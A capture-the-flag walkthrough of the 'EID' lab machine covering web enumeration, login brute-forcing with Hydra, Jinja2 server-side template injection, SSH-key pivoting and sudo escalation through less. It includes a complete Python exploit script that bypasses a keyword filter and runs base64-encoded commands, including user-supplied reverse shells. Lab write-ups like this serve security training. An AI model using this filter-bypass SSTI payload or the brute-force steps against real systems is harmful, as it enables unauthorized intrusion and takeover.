Press enter or click to view image in full size

Introduction
“EID” is a medium-difficulty Linux machine that simulates a realistic penetration test of an internal corporate application. The exploitation path is a three-stage process, beginning with extensive web enumeration to gain an initial low-privilege shell. The attacker must then pivot from the web server user to a standard user account by exploiting a file permission misconfiguration. Finally, privilege escalation to root is achieved by taking advantage of a classic sudo misconfiguration involving a script that improperly calls a standard Linux utility. This machine tests skills in enumeration, web exploitation (SSTI), payload crafting, and Linux privilege escalation.
- Enumeration & Reconnaissance
Navigating to http://192.168.1.12 in a web browser, it doesn't load a page directly; it reveals a domain called “3id.nyx”.
So firstly, we need to edit /etc/hosts and assign the machine IP to “3id.nyx”
sudo nano /etc/hosts
We begin with an nmap Scan to identify all open ports and running services
nmap -sV -sC -p- <MachineIP>Let’s check for Subdomains & Directories with the ffuf tool
Seclist wordlist
ffuf -w /usr/share/wordlists/subdomains-top1million-5000.txt -u http://192.168.1.12 -H "Host: FUZZ.3id.nyx" -mc 200Press enter or click to view image in full size

We found beta testing notes from the Dev team “alouch” as a user. Let's go back to the login page and try
We will approach this by brute-forcing the login page with hydra & rockyou wordlist
Using the discovered credentials, we log into the application at http://3id.nyx/login.
After logging in, we gain access to the "Shared Greetings" page. One of
the notes, "Dev Note: Urgent," contains a clear hint about the
vulnerability:
"We need to be careful with the 'template' debug parameter on /greet/share, it's only for internal testing."
This tells us there is a template parameter on the /greet/share endpoint. We can test for Server-Side Template Injection (SSTI) with a simple payload:
http://3id.nyx/greet/share?id=1&template={{7*7}}Bypassing the Filter and Gaining a Shell
Get TirexV2’s stories in your inbox
Join Medium for free to get updates from this writer.
Attempting standard RCE payloads reveals a keyword filter that blocks dangerous functions like os, popen, system,
etc. The exploit requires a sophisticated, multi-stage payload that
overcomes several hurdles discovered through server error messages.
Payload Construction Strategy:
- Bypassing the Keyword Filter: The filter blocks dangerous function and module names (e.g.,
os,popen). To bypass this, we must construct these strings within Jinja2 using character-by-character concatenation. For example,osbecomes'o'~'s'. - Finding a Usable Class: A naive approach like
__subclasses__()[0]fails with anAttributeErrorbecause the class at index 0 is awrapper_descriptorwith no__globals__. The payload must intelligently search for a suitable class. We do this with a Jinja2{% for %}loop that iterates through all subclasses ofobjectand finds one with a known-good name, like_wrap_close, saving it to a variable. This must be done in a statement block ({%...%}) to avoid aTemplateSyntaxError. - Correctly Accessing
__import__: After finding a good class, we navigate to its__init__.__globals__['__builtins__']. The server returns an error ('dict object' has no attribute '__import__') if we try to use|attr(). This tells us that__builtins__is a dictionary, so we must use dictionary key access:['__import__']. - Base64 Encoding: To execute complex commands with special characters (like
',&,>) without causing furtherTemplateSyntaxErrors, we Base64-encode the final reverse shell command. The payload then becomes a simple shell command that decodes this string and pipes it tobashfor execution (e.g.,bash -c 'echo <BASE64> | base64 -d | bash').
import requests
import urllib.parse
import re
import base64
DEFAULT_TARGET_IP = "TargetIP"
TARGET_URL_TEMPLATE = "http://{ip}/greet/share"
TARGET_GREETING_ID = "1"
def construct_jinja_string(s):
"""
Converts a Python string into a Jinja2 string concatenation expression,
now with proper handling for single quote characters.
"""
if not s: return "''"
jinja_parts = []
for char in s:
if char == "'":
jinja_parts.append(r"'\''")
else:
jinja_parts.append(f"'{char}'")
return "~".join(jinja_parts)
def build_ssti_payload(command_to_execute):
"""
Builds the final, multi-stage SSTI payload.
- Stage 1 ({%...%}): Finds a suitable class and saves it to a variable.
- Stage 2 ({{...}}): Uses the variable to execute the RCE chain.
"""
target_class_name = construct_jinja_string("_wrap_close")
builtins_key = "__builtins__"
import_func_key = construct_jinja_string("__import__")
os_module_name = construct_jinja_string("os")
popen_method_name = construct_jinja_string("popen")
read_method_name = construct_jinja_string("read")
command_str = construct_jinja_string(command_to_execute)
part1_find_class = (
"{% for c in '' . __class__ . __mro__[1] . __subclasses__() %}"
"{% if c . __name__ == " + target_class_name + " %}"
"{% set good_class = c %}"
"{% endif %}"
"{% endfor %}"
)
part2_execute_chain = (
"{{ good_class . __init__ . __globals__"
"['" + builtins_key + "']"
"[" + import_func_key + "]"
"(" + os_module_name + ")"
"|attr(" + popen_method_name + ")"
"(" + command_str + ")"
"|attr(" + read_method_name + ")()"
" }}"
)
payload = part1_find_class + part2_execute_chain
return payload
if __name__ == "__main__":
target_ip = DEFAULT_TARGET_IP
target_ip_input = input(f"Enter target machine IP (default: {DEFAULT_TARGET_IP}): ").strip()
if target_ip_input:
target_ip = target_ip_input
target_url_base = TARGET_URL_TEMPLATE.format(ip=target_ip)
print(f"\n[+] Using target base URL: {target_url_base}")
command_to_encode = input("Enter command to execute (e.g., id, or full reverse shell one-liner): ").strip()
if not command_to_encode:
print("[!] No command entered. Exiting.")
exit()
encoded_command_bytes = base64.b64encode(command_to_encode.encode('utf-8'))
encoded_command_str = encoded_command_bytes.decode('utf-8')
print(f"\n[+] Base64 encoded your command: {encoded_command_str}")
final_command_to_send = f"bash -c 'echo {encoded_command_str} | base64 -d | bash'"
print(f"[+] Final shell command to be sent via SSTI: {final_command_to_send}")
print(f"[+] Building SSTI payload...")
ssti_payload = build_ssti_payload(final_command_to_send)
url_encoded_payload = urllib.parse.quote_plus(ssti_payload)
target_full_url = f"{target_url_base}?id={TARGET_GREETING_ID}&template={url_encoded_payload}"
print(f"\n[+] Sending request...")
try:
response = requests.get(target_full_url, timeout=90)
print(f"[+] Server responded with Status Code: {response.status_code}")
print("\n[+] Full Response Text (first 500 characters):")
print("-" * 70)
print(response.text[:500].strip())
if len(response.text) > 500: print("...")
print("-" * 70)
if response.status_code == 200:
if command_to_encode.lower() == 'id' and 'uid=' in response.text.lower():
print("\n[DIAGNOSTIC] SUCCESS! Output of 'id' command detected!")
else:
print("\n[DIAGNOSTIC] Request got 200 OK. Check response for command output or listener for reverse shell.")
else:
print(f"\n[DIAGNOSTIC] Got status {response.status_code}. Please check server logs and the response text for error details.")
except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")
print("\n[+] Script finished.")
Running the id command in our www-data Shell shows we are part of the alouch group.
www-data@3id:/home/alouch/eid_app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(alouch)Knowing this, we search for files owned by alouch that are writable by the group. We quickly find a misconfiguration in alouch's .ssh
directory. Standard Linux permissions require execute permission on all
parent directories to access a file. We check this with namei.
www-data@3id:/$ namei -om /home/alouch/.ssh/authorized_keys
f: /home/alouch/.ssh/authorized_keys
drwxr-x
drwxr-xr-x root root home
drwx
drwx
-rw-rwPress enter or click to view image in full size

The output shows that the alouch group has execute permission on /home/alouch and /home/alouch/.ssh, and write permission on the authorized_keys file itself
On our attacker machine, we generate a new ed25519 SSH key
ssh-keygen -t ed25519 -f ~/3id_keyFinally, from our attacker machine, we can now log in as alouch using our private key.
ssh -i ~/3id_key alouch@192.168.1.124. Privilege Escalation (alouch to root)
We run sudo -l to check for any special sudo privileges for alouch Then we examine the script’s content.
Press enter or click to view image in full size

The script insecurely uses less. We can exploit this by running the script with sudo and then using the ! command inside less to spawn a shell.
sudo /opt/eid_scripts/maintenance_cleanup.sh /etc/passwdOnce inside the less interface, type:
!/bin/bashPress enter or click to view image in full size

We confirm our privileges and capture the final flag.